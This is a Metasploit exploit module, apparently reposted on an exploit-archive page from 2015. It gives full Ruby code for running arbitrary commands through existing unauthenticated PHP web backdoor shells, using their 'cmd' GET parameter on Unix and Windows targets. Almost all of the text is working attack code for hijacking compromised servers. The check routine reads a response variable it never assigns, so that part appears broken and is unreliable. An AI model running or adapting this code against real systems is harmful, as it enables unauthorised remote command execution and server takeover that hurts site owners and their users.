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Simple Backdoor Shell Remote Code Execution

Posted on 03 October 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
 super(update_info(info,
 'Name' => 'Simple Backdoor Shell Remote Code Execution',
 'Description' => %q{
 This module exploits unauthenticated simple web backdoor shells by leveraging the
 common backdoor shell's CMD parameter to execute commands. The SecLists project of
 Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells
 which is categorized under Payloads.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Jay Turla <@shipcod3>',
 ],
 'References' =>
 [
 [ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ],
 [ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed
 ],
 'Privileged' => false,
 'Payload' =>
 {
 'Space' => 2000,
 'BadChars' => '',
 'DisableNops' => true,
 'Compat' =>
 {
 'PayloadType' => 'cmd'
 }
 },
 'Platform' => %w{ unix win },
 'Arch' => ARCH_CMD,
 'Targets' =>
 [
 ['backdoor / Unix', { 'Platform' => 'unix' } ],
 ['backdoor / Windows', { 'Platform' => 'win' } ]
 ],
 'DisclosureDate' => 'Sep 08 2015',
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']),
 ],self.class)
 end

 def check
 test = Rex::Text.rand_text_alpha(8)
 http_send_command(test)
 if res && res.body =~ /#{test}/
 return Exploit::CheckCode::Vulnerable
 end
 return Exploit::CheckCode::Safe
 end

 def http_send_command(cmd)
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path),
 'vars_get' => {
 'cmd' => cmd
 }
 })
 unless res && res.code == 200
 fail_with(Failure::Unknown, "Failed to execute the command.")
 end
 res
 end

 def exploit
 http_send_command(payload.encoded)
 end
end

 

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